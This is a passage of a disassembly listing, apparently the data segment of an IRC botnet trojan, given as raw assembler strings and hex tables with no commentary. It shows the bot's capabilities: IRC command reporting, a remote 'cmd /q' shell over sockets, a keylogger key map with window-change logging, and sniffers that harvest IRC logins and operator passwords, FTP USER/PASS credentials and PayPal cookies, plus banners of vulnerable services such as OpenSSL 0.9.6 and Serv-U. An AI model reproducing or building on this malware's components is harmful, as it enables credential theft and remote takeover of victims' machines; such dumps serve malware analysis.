db '</TR>',0Dh,0Ah,0
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: seg000:00411234o
align 4
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: seg000:004112C3o
align 4
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: seg000:004112DEo
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: seg000:004112F9o
align 4
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_411418+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_44A334 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F640269h
; DATA XREF: sub_411539+BBo
dd 6E021F65h, 2647402h, 2C313003h, 3A353103h, 2203203h
dd 696C0243h, 20746E65h, 6F024302h, 26E026Eh, 2746365h
dd 6E6F0269h, 2460220h, 36D6F72h, 73252034h, 2E64253Ah
dd 0
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_411539+113o
dword_44A3A0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F640269h
; DATA XREF: sub_411539+16Eo
dd 6E021F65h, 2647402h, 2C313003h, 3A353103h, 2203203h
dd 72650253h, 20726576h, 61024602h, 64656C69h, 5202202Ch
dd 75746502h, 64656E72h, 25203403h, 64h
unk_44A3EC db 2 ; DATA XREF: sub_4116E4+E9o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 52h ; R
db 2, 65h, 64h
db 2
db 69h, 2, 72h
db 2
db 65h, 2, 63h
db 74h ; t
db 3, 30h, 32h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aClientConnecti db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_44A44C db 2 ; DATA XREF: sub_4116E4+15Eo
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 52h ; R
db 2, 65h, 64h
db 2
db 69h, 2, 72h
db 2
db 65h, 2, 63h
db 74h ; t
db 3, 30h, 32h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aFailedToStartC db 'Failed to start client thread, error: <%d>.',0
unk_44A4A0 db 2 ; DATA XREF: sub_411875+E1o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 52h ; R
db 2, 65h, 64h
db 2
db 69h, 2, 72h
db 2
db 65h, 2, 63h
db 74h ; t
db 3, 30h, 32h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aClientConnec_0 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 4
unk_44A4FC db 2 ; DATA XREF: sub_411875+1AAo
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 52h ; R
db 2, 65h, 64h
db 2
db 69h, 2, 72h
db 2
db 65h, 2, 63h
db 74h ; t
db 3, 30h, 32h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aFailedToStar_0 db 'Failed to start connection thread, error: <%d>.',0
dword_44A554 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F6C0252h
; DATA XREF: seg000:00411BDAo
dd 67021F6Fh, 26E0269h, 30030264h, 31032C31h, 32033A35h
dd 2450220h, 726F7272h, 6567203Ah, 65657074h, 6D616E72h
dd 3A292865h, 3C203403h, 2E3E6425h, 0
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: seg000:00411C6Bo
align 4
dword_44A5B4 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F6C0252h
; DATA XREF: seg000:00411C9Bo
dd 67021F6Fh, 26E0269h, 30030264h, 31032C31h, 32033A35h
dd 2550220h, 20726573h, 26F026Ch, 65026767h, 69206402h
dd 34033A6Eh, 73253C20h, 3E732540h, 2Eh
dword_44A600 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F6C0252h
; DATA XREF: seg000:00411CBBo
dd 67021F6Fh, 26E0269h, 30030264h, 31032C31h, 32033A35h
dd 2450220h, 726F7272h, 5302203Ah, 73736502h, 526E6F69h
dd 29286E75h, 2034033Ah, 3E64253Ch, 2Eh
dword_44A64C dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F6C0252h
; DATA XREF: seg000:00411CE2o
dd 67021F6Fh, 26E0269h, 30030264h, 31032C31h, 32033A35h
dd 2550220h, 20726573h, 26F026Ch, 65026767h, 6F206402h
dd 74027502h, 2034033Ah, 4073253Ch, 2E3E7325h, 0
dword_44A69C dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F6C0252h
; DATA XREF: seg000:loc_411D43o
dd 67021F6Fh, 26E0269h, 30030264h, 31032C31h, 32033A35h
dd 2500220h, 6F746F72h, 206C6F63h, 74025302h, 676E6972h
dd 6F025420h, 6C206F02h, 6E026F02h, 2E67h
dword_44A6E8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F6C0252h
; DATA XREF: sub_411D58+1Bo
dd 67021F6Fh, 26E0269h, 30030264h, 31032C31h, 32033A35h
dd 6F024C20h, 6E696702h, 2657220h, 6365026Ah, 65027402h
dd 2202C64h, 6D650252h, 2065746Fh, 73025502h, 33A7265h
dd 253C2034h, 73254073h, 2E3Eh, 35310302h, 25B302Ch, 91313003h
dd 2343003h, 1F6C0252h, 67021F6Fh, 26E0269h, 30030264h
dd 31032C31h, 32033A35h, 6F024C20h, 6E696702h, 2657220h
dd 6365026Ah, 65027402h, 2202C64h, 6D650252h, 2065746Fh
dd 73025502h, 33A7265h, 253C2034h, 73254073h, 2E3Eh, 35310302h
dd 25B302Ch, 91313003h, 2343003h, 1F6C0252h, 67021F6Fh
dd 26E0269h, 30030264h, 31032C31h, 32033A35h, 2450220h
dd 726F7272h, 5702203Ah, 53415302h, 74726174h, 29287075h
dd 2034033Ah, 3E64253Ch, 2Eh, 35310302h, 25B302Ch, 91313003h
dd 2343003h, 1F6C0252h, 67021F6Fh, 26E0269h, 30030264h
dd 31032C31h, 32033A35h, 2460220h, 656C6961h, 2542064h
dd 6920026Fh, 73026E02h, 2610274h, 2206C6Ch, 6E6F0243h
dd 6C6F7274h, 243022Dh, 2480220h, 6C646E61h, 202C7265h
dd 72024502h, 6F027202h, 34033A72h, 64253C20h, 2E3Eh, 35310302h
dd 25B302Ch, 91313003h, 2343003h, 1F6C0252h, 67021F6Fh
dd 26E0269h, 30030264h, 31032C31h, 32033A35h, 2520220h
dd 79646165h, 2410220h, 220646Eh, 69610257h, 676E6974h
dd 2460220h, 6920726Fh, 63026E02h, 26D026Fh, 20676E69h
dd 6F024302h, 2656E6Eh, 69740263h, 26E026Fh, 2E73h, 35310302h
dd 25B302Ch, 91313003h, 2343003h, 1F6C0252h, 67021F6Fh
dd 26E0269h, 30030264h, 31032C31h, 32033A35h, 2430220h
dd 6E65696Ch, 43022074h, 6E6E6F02h, 69746365h, 2206E6Fh
dd 6F720246h, 5049206Dh, 2034033Ah, 253A7325h, 3202C64h
dd 72655332h, 20726576h, 68025402h, 64616572h, 2034033Ah
dd 2E6425h, 35310302h, 25B302Ch, 91313003h, 2343003h, 1F6C0252h
dd 67021F6Fh, 26E0269h, 30030264h, 31032C31h, 32033A35h
dd 2460220h, 656C6961h, 2542064h, 220026Fh, 61740253h
dd 2207472h, 696C0243h, 20746E65h, 68025402h, 64616572h
dd 4502202Ch, 72027202h, 3A726F02h, 3C203403h, 2E3E6425h
dd 0
dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F6C0252h
dd 67021F6Fh, 26E0269h, 30030264h, 31032C31h, 32033A35h
dd 2450220h, 6F027272h, 203A7202h, 65025302h, 72657672h
dd 2460220h, 656C6961h, 2202C64h, 74650252h, 656E7275h
dd 34033A64h, 64253C20h, 2E3Eh
unk_44A9F4 db 2 ; DATA XREF: seg000:00412068o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 52h ; R
db 2, 6Ch, 1Fh
db 6Fh ; o
db 1Fh, 67h, 2
db 69h ; i
db 2, 6Eh, 64h
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2FailedToCreat db '2 Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_44AA54 db 2 ; DATA XREF: seg000:0041209Ao
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 52h ; R
db 2, 6Ch, 1Fh
db 6Fh ; o
db 1Fh, 67h, 2
db 69h ; i
db 2, 6Eh, 64h
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2FailedToCre_0 db '2 Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_44AAB4 db 2 ; DATA XREF: seg000:004120EDo
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 52h ; R
db 2, 6Ch, 1Fh
db 6Fh ; o
db 1Fh, 67h, 2
db 69h ; i
db 2, 6Eh, 64h
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2Waitformultip db '2 WaitForMultipleObjects error: <%d>.',0
align 10h
unk_44AB00 db 2 ; DATA XREF: sub_412160+5Co
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 52h ; R
db 2, 6Ch, 1Fh
db 6Fh ; o
db 1Fh, 67h, 2
db 69h ; i
db 2, 6Eh, 64h
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2FailedToCre_1 db '2 Failed to create shell stdout pipe, error: <%d>.',0
unk_44AB58 db 2 ; DATA XREF: sub_412160+7Eo
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 52h ; R
db 2, 6Ch, 1Fh
db 6Fh ; o
db 1Fh, 67h, 2
db 69h ; i
db 2, 6Eh, 64h
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2FailedToCre_2 db '2 Failed to create shell stdin pipe, error: <%d>.',0
align 10h
unk_44ABB0 db 2 ; DATA XREF: sub_412160+AFo
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 52h ; R
db 2, 6Ch, 1Fh
db 6Fh ; o
db 1Fh, 67h, 2
db 69h ; i
db 2, 6Eh, 64h
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2FailedToExecu db '2 Failed to execute shell.',0
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_412259+8Co
align 4
unk_44ABF8 db 2 ; DATA XREF: sub_412259+C3o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 52h ; R
db 2, 6Ch, 1Fh
db 6Fh ; o
db 1Fh, 67h, 2
db 69h ; i
db 2, 6Eh, 64h
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2FailedToExe_0 db '2 Failed to execute shell, error: <%d>.',0
align 4
unk_44AC48 db 2 ; DATA XREF: sub_412332+A1o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 52h ; R
db 2, 6Ch, 1Fh
db 6Fh ; o
db 1Fh, 67h, 2
db 69h ; i
db 2, 6Eh, 64h
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2Sessionreadsh db '2 SessionReadShellThread exited, error: <%ld>.',0
unk_44AC9C db 2 ; DATA XREF: seg000:004125AFo
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 6Fh
db 1Fh
db 2, 63h, 2
db 6Bh ; k
db 2, 73h, 2
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2ServerStart_0 db '2 Server started on: %s:%d.',0
align 10h
unk_44ACE0 db 2 ; DATA XREF: seg000:0041261Bo
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 6Fh
db 1Fh
db 2, 63h, 2
db 6Bh ; k
db 2, 73h, 2
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2ClientConne_0 db '2 Client connection from IP: %s:%d, Server thread: %d.',0
unk_44AD3C db 2 ; DATA XREF: seg000:00412696o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 6Fh
db 1Fh
db 2, 63h, 2
db 6Bh ; k
db 2, 73h, 2
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2FailedToSta_0 db '2 Failed to start client thread, error: <%d>.',0
align 10h
unk_44AD90 db 2 ; DATA XREF: seg000:004126B9o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 6Fh
db 1Fh
db 2, 63h, 2
db 6Bh ; k
db 2, 73h, 2
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2FailedToSta_1 db '2 Failed to start server on Port %d.',0
align 4
db 2
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 6Fh
db 1Fh
db 2, 63h, 2
db 6Bh ; k
db 2, 73h, 2
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2Authenticatio db '2 Authentication failed. Remote userid: %s != %s.',0
align 4
db 2
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 6Fh
db 1Fh
db 2, 63h, 2
db 6Bh ; k
db 2, 73h, 2
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2ErrorFailedTo db '2 Error: Failed to open socket(), returned: <%d>.',0
align 4
db 2
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 6Fh
db 1Fh
db 2, 63h, 2
db 6Bh ; k
db 2, 73h, 2
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2ErrorFailed_0 db '2 Error: Failed to connect to target, returned: <%d>.',0
align 4
aOctet db 'octet',0
align 10h
dword_44AEF0 dd 35310302h, 25B302Ch, 91343003h, 1F323003h, 1F024602h
; DATA XREF: seg000:00412B32o
dd 2700254h, 2C343003h, 3A353103h, 2203403h, 2720245h
dd 726F0272h, 5302203Ah, 6B636F02h, 29287465h, 2460220h
dd 6C026961h, 2C646502h, 2520220h, 2757465h, 656E0272h
dd 32033A64h, 64253C20h, 2E3Eh
dword_44AF4C dd 6272h dword_44AF50 dd 35310302h, 25B302Ch, 91343003h, 1F323003h, 1F024602h
; DATA XREF: seg000:00412C47o
dd 2700254h, 2C343003h, 3A353103h, 2203403h, 69610246h
dd 265026Ch, 2542064h, 220026Fh, 270024Fh, 206E0265h, 69024602h
dd 65026C02h, 2032033Ah, 2E7325h
dword_44AF9C dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 1F024602h
; DATA XREF: seg000:00412DD0o
dd 2700254h, 2C313003h, 3A353103h, 2203203h, 6E650253h
dd 69026402h, 67026E02h, 2440220h, 2740261h, 20340361h
dd 61025002h, 6B026302h, 74026502h, 20320373h, 26F0254h
dd 25203403h, 73h
dword_44AFF4 dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 1F024602h
; DATA XREF: seg000:00412EC7o
dd 2700254h, 2C313003h, 3A353103h, 4F320320h, 3430031Fh
dd 1F1F1F2Eh, 77323003h, 3430031Fh, 3430032Eh, 24E021Fh
dd 3430031Fh, 3230032Eh, 1F1F651Fh, 1F343003h, 30031F2Eh
dd 34034432h, 732520h
dword_44B04C dd 4000500h, 7868746Bh, 0 dd 8
dword_44B05C dd 62h, 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_44B78C dd 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_44B7C4 dd 5Ch dword_44B7C8 dd 6261h aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_412F80+88o
align 4
dword_44B7E8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 651F024Bh
; DATA XREF: sub_412F80+AEo
dd 26C791Fh, 21F6F1Fh, 30030267h, 31032C31h, 32033A35h
dd 732520h
aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_413061+8Fo
align 10h
aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_413061+1E5o
align 4
aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_413061+228o
align 4
aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_413351+5o
align 4
aPsniff db '[PSNIFF]:',0 ; DATA XREF: sub_413351+2Bo
align 4
aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_413351+3Co
align 10h
aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_413351+4Do
align 4
a302 db '302 ',0 ; DATA XREF: sub_413351:loc_4133B3o
align 10h
a366 db '366 ',0 ; DATA XREF: sub_413351+73o
align 4
a_login db ':.login',0 ; DATA XREF: sub_413351+84o
aLogin db ':!login',0 ; DATA XREF: sub_413351+95o
aLogin_0 db ':!Login',0 ; DATA XREF: sub_413351+A6o
a_login_0 db ':.Login',0 ; DATA XREF: sub_413351+B7o
a_ident db ':.ident',0 ; DATA XREF: sub_413351+C8o
aIdent_0 db ':!ident',0 ; DATA XREF: sub_413351+D9o
a_hashin db ':.hashin',0 ; DATA XREF: sub_413351+EEo
align 4
aHashin db ':!hashin',0 ; DATA XREF: sub_413351+103o
align 10h
aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_413468+5o
align 4
aOper db 'OPER ',0 ; DATA XREF: sub_413468+2Bo
align 4
aNick_1 db 'NICK ',0 ; DATA XREF: sub_413468:loc_4134A8o
align 4
aOper_0 db 'oper ',0 ; DATA XREF: sub_413468+51o
align 4
aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_413468+62o
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4134DE+5o
align 4
aNick_2 db 'NICK ',0 ; DATA XREF: sub_4134DE+2Bo
align 4
a220 db '220 ',0 ; DATA XREF: sub_4134DE+3Co
align 4
a230 db '230 ',0 ; DATA XREF: sub_4134DE:loc_41352Fo
align 4
aUser_2 db 'USER ',0 ; DATA XREF: sub_4134DE+62o
align 4
aPass_0 db 'PASS ',0 ; DATA XREF: sub_4134DE+73o
align 4
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_413565+5o
align 10h
aPaypal db 'paypal',0 ; DATA XREF: sub_413565+2Bo
align 4
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_413565:loc_4135A5o
align 10h
aPaypal_com db 'PAYPAL.COM',0 ; DATA XREF: sub_413565+51o
align 4
aPaypal_com_0 db 'paypal.com',0 ; DATA XREF: sub_413565+62o
align 4
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_413565+73o
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4135EC+5o
align 10h
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4135EC+2Bo
align 10h
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4135EC:loc_41362Co
align 4
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4135EC+51o
align 10h
dword_44B9D0 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 26E0253h
; DATA XREF: seg000:00413716o
dd 2660269h, 2650266h, 30030272h, 31032C32h, 32035D35h
dd 6E694220h, 20292864h, 6C696146h, 202C6465h, 75746552h
dd 64656E72h, 25203403h, 64h
dword_44BA18 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 26E0253h
; DATA XREF: seg000:0041379Co
dd 2660269h, 2650266h, 30030272h, 31032C32h, 32035D35h
dd 41535720h, 74636F49h, 2029286Ch, 6C696146h, 202C6465h
dd 75746552h, 64656E72h, 25203403h, 64h
dword_44BA64 dd 7325h dword_44BA68 dd 7325h unk_44BA6C db 2 ; DATA XREF: seg000:00413933o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 6Eh, 2
db 69h ; i
db 2, 66h, 2
db 66h ; f
db 2, 65h, 2
db 72h ; r
db 2, 3, 30h
db 32h ; 2
db 2Ch, 3, 31h
db 35h ; 5
db 5Dh, 3, 32h
aBotSniffSDToSD db ' Bot Sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_44BABC db 2 ; DATA XREF: seg000:0041396Co
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 6Eh, 2
db 69h ; i
db 2, 66h, 2
db 66h ; f
db 2, 65h, 2
db 72h ; r
db 2, 3, 30h
db 32h ; 2
db 2Ch, 3, 31h
db 35h ; 5
db 5Dh, 3, 32h
aIrcSniffSDToSD db ' IRC Sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_44BB0C db 2 ; DATA XREF: seg000:004139A2o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 6Eh, 2
db 69h ; i
db 2, 66h, 2
db 66h ; f
db 2, 65h, 2
db 72h ; r
db 2, 3, 30h
db 32h ; 2
db 2Ch, 3, 31h
db 35h ; 5
db 5Dh, 3, 32h
aFtpSniffSDToSD db ' FTP Sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_44BB5C db 2 ; DATA XREF: seg000:004139D3o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 6Eh, 2
db 69h ; i
db 2, 66h, 2
db 66h ; f
db 2, 65h, 2
db 72h ; r
db 2, 3, 30h
db 32h ; 2
db 2Ch, 3, 31h
db 35h ; 5
db 5Dh, 3, 32h
aHttpSniffSDToS db ' HTTP Sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_44BBAC db 2 ; DATA XREF: seg000:00413A3Do
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 6Eh, 2
db 69h ; i
db 2, 66h, 2
db 66h ; f
db 2, 65h, 2
db 72h ; r
db 2, 3, 30h
db 32h ; 2
db 2Ch, 3, 31h
db 35h ; 5
db 5Dh, 3, 32h
